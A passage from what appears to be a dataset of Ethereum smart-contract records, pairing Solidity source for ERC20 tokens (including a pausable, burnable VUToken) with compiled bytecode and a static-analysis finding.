emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function unlockToken() public onlyCrowdsale returns (bool) {
locked = false;
emit UnlockToken();
return true;
}
function lockToken() public onlyCrowdsale returns (bool) {
locked = true;
emit LockToken();
return true;
}
function setCrowdsale(address _crowdsale) public onlyOwner returns (bool) {
require(_crowdsale.isContract());
crowdsale = _crowdsale;
emit SetCrowdsale(_crowdsale);
return true;
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806366188463116100c3578063a9059cbb1161007c578063a9059cbb146106ac578063bca7a9e214610712578063cf30901214610734578063d73dd62314610756578063dd62ed3e146107bc578063f2fde38b146108345761014d565b806366188463146104b557806370a082311461051b5780637d64bcb4146105735780638da5cb5b1461059557806395d89b41146105df578063a3e67610146106625761014d565b80631a88f306116101155780631a88f3061461029d57806323b872dd14610303578063313ce5671461038957806340c10f19146103ad57806342966c6814610413578063483a20b2146104595761014d565b806305d2035b1461015257806306fdde0314610174578063095ea7b3146101f757806318160ddd1461025d57806318a24b5b1461027b575b600080fd5b61015a610878565b604051808215151515815260200191505060405180910390f35b61017c61088b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bc5780820151818401526020810190506101a1565b50505050905090810190601f1680156101e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102436004803603604081101561020d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610929565b604051808215151515815260200191505060405180910390f35b610265610a1b565b6040518082815260200191505060405180910390f35b610283610a21565b604051808215151515815260200191505060405180910390f35b6102e9600480360360408110156102b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610acb565b604051808215151515815260200191505060405180910390f35b61036f6004803603606081101561031957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610daf565b604051808215151515815260200191505060405180910390f35b6103916111db565b604051808260ff1660ff16815260200191505060405180910390f35b6103f9600480360360408110156103c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111ee565b604051808215151515815260200191505060405180910390f35b61043f6004803603602081101561042957600080fd5b810190808035906020019092919050505061142a565b604051808215151515815260200191505060405180910390f35b61049b6004803603602081101561046f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611629565b604051808215151515815260200191505060405180910390f35b610501600480360360408110156104cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117a3565b604051808215151515815260200191505060405180910390f35b61055d6004803603602081101561053157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a34565b6040518082815260200191505060405180910390f35b61057b611a7d565b604051808215151515815260200191505060405180910390f35b61059d611baa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105e7611bd0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062757808201518184015260208101905061060c565b50505050905090810190601f1680156106545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066a611c6e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106f8600480360360408110156106c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c94565b604051808215151515815260200191505060405180910390f35b61071a611f27565b604051808215151515815260200191505060405180910390f35b61073c611fd1565b604051808215151515815260200191505060405180910390f35b6107a26004803603604081101561076c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611fe4565b604051808215151515815260200191505060405180910390f35b61081e600480360360408110156107d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121e0565b6040518082815260200191505060405180910390f35b6108766004803603602081101561084a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612267565b005b600a60009054906101000a900460ff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109215780601f106108f657610100808354040283529160200191610921565b820191906000526020600020905b81548152906001019060200180831161090457829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60055481565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7d57600080fd5b6000600a60016101000a81548160ff0219169083151502179055507f70f18bcde0ec5e70a6b75212912eb91efc54a2c235186a6bf95d4d28b128741660405160405180910390a16001905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bca57600080fd5b600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610c1657600080fd5b610c6882600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248d90919063ffffffff16565b600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cfd82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251690919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600a60019054906101000a900460ff161580610e1a5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e5d57600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610ea957600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610f3257600080fd5b610f8482600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248d90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101982600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251690919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110eb82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248d90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112995750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6112a257600080fd5b600a60009054906101000a900460ff16156112bc57600080fd5b6112d18260055461251690919063ffffffff16565b60058190555061132982600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251690919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114d55750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6114de57600080fd5b6114f38260055461248d90919063ffffffff16565b60058190555061154b82600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248d90919063ffffffff16565b600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f396ed0ab6cc27459695a5d29409f1357ff85a6b958ca216959d886d23a89949b60405160405180910390a1600073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b61170d8273ffffffffffffffffffffffffffffffffffffffff1661259e565b61171657600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f9ff957c76b1939561275cf24bf310b141bf07a26e3c070abf84ec78e769c41b360405160405180910390a260019050919050565b600080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156118b4576000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611948565b6118c7838261248d90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600a60009054906101000a900460ff1615611b5c57600080fd5b6001600a60006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c665780601f10611c3b57610100808354040283529160200191611c66565b820191906000526020600020905b815481529060010190602001808311611c4957829003601f168201915b505050505081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60019054906101000a900460ff161580611cff5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611d0857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d4257600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115611d8e57600080fd5b611de082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248d90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e7582600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251690919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f8357600080fd5b6001600a60016101000a81548160ff0219169083151502179055507f481e27d43fb74b96540bf6eb1011042665ae9040107d556002cb2796a9a9867560405160405180910390a16001905090565b600a60019054906101000a900460ff1681565b600061207582600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461232a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156123cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f416464726573732073686f756c646e2774206265207a65726f0000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115612505576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015612594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080823b90506000811191505091905056fea265627a7a72305820e7b68f6e19c8eda4a08b00d58b2a81620d70d2069894822661f853b526fe7a6e64736f6c634300050a0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 5,316 |
0xc071c44d08088ea1126f1d6637c54b54761c11c1
|
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract VUToken is DetailedERC20, BurnableToken, PausableToken {
using SafeMath for uint256;
uint public constant INITIAL_SUPPLY = 1000000000 * (10**18);
/**
* @dev Constructor
*/
function VUToken() public
DetailedERC20("VU TOKEN", "VU", 18)
{
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Function to transfer tokens
* @param _recipients The addresses that will receive the tokens.
* @param _amounts The list of the amounts of tokens to transfer.
* @return A boolean that indicates if the operation was successful.
*/
function massTransfer(address[] _recipients, uint[] _amounts) external returns (bool) {
require(_recipients.length == _amounts.length);
for (uint i = 0; i < _recipients.length; i++) {
require(transfer(_recipients[i], _amounts[i]));
}
return true;
}
}
|
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302af20951461010c57806306fdde0314610166578063095ea7b3146101f457806318160ddd1461024e57806323b872dd146102775780632ff2e9dc146102f0578063313ce567146103195780633f4ba83a1461034857806342966c681461035d5780635c975abb1461038057806366188463146103ad57806370a08231146104075780638456cb59146104545780638da5cb5b1461046957806395d89b41146104be578063a9059cbb1461054c578063d73dd623146105a6578063dd62ed3e14610600578063f2fde38b1461066c575b600080fd5b341561011757600080fd5b61014c6004808035906020019082018035906020019190919290803590602001908201803590602001919091929050506106a5565b604051808215151515815260200191505060405180910390f35b341561017157600080fd5b610179610739565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ff57600080fd5b610234600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107d7565b604051808215151515815260200191505060405180910390f35b341561025957600080fd5b610261610807565b6040518082815260200191505060405180910390f35b341561028257600080fd5b6102d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610811565b604051808215151515815260200191505060405180910390f35b34156102fb57600080fd5b610303610843565b6040518082815260200191505060405180910390f35b341561032457600080fd5b61032c610853565b604051808260ff1660ff16815260200191505060405180910390f35b341561035357600080fd5b61035b610866565b005b341561036857600080fd5b61037e6004808035906020019091905050610926565b005b341561038b57600080fd5b610393610a7b565b604051808215151515815260200191505060405180910390f35b34156103b857600080fd5b6103ed600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a8e565b604051808215151515815260200191505060405180910390f35b341561041257600080fd5b61043e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610abe565b6040518082815260200191505060405180910390f35b341561045f57600080fd5b610467610b07565b005b341561047457600080fd5b61047c610bc8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104c957600080fd5b6104d1610bee565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105115780820151818401526020810190506104f6565b50505050905090810190601f16801561053e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561055757600080fd5b61058c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c8c565b604051808215151515815260200191505060405180910390f35b34156105b157600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cbc565b604051808215151515815260200191505060405180910390f35b341561060b57600080fd5b610656600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cec565b6040518082815260200191505060405180910390f35b341561067757600080fd5b6106a3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d73565b005b60008083839050868690501415156106bc57600080fd5b600090505b8585905081101561072c5761071486868381811015156106dd57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16858584818110151561070857fe5b90506020020135610c8c565b151561071f57600080fd5b80806001019150506106c1565b6001915050949350505050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107cf5780601f106107a4576101008083540402835291602001916107cf565b820191906000526020600020905b8154815290600101906020018083116107b257829003601f168201915b505050505081565b6000600660149054906101000a900460ff161515156107f557600080fd5b6107ff8383610ecb565b905092915050565b6000600454905090565b6000600660149054906101000a900460ff1615151561082f57600080fd5b61083a848484610fbd565b90509392505050565b6b033b2e3c9fd0803ce800000081565b600260009054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373fffffffffffffffff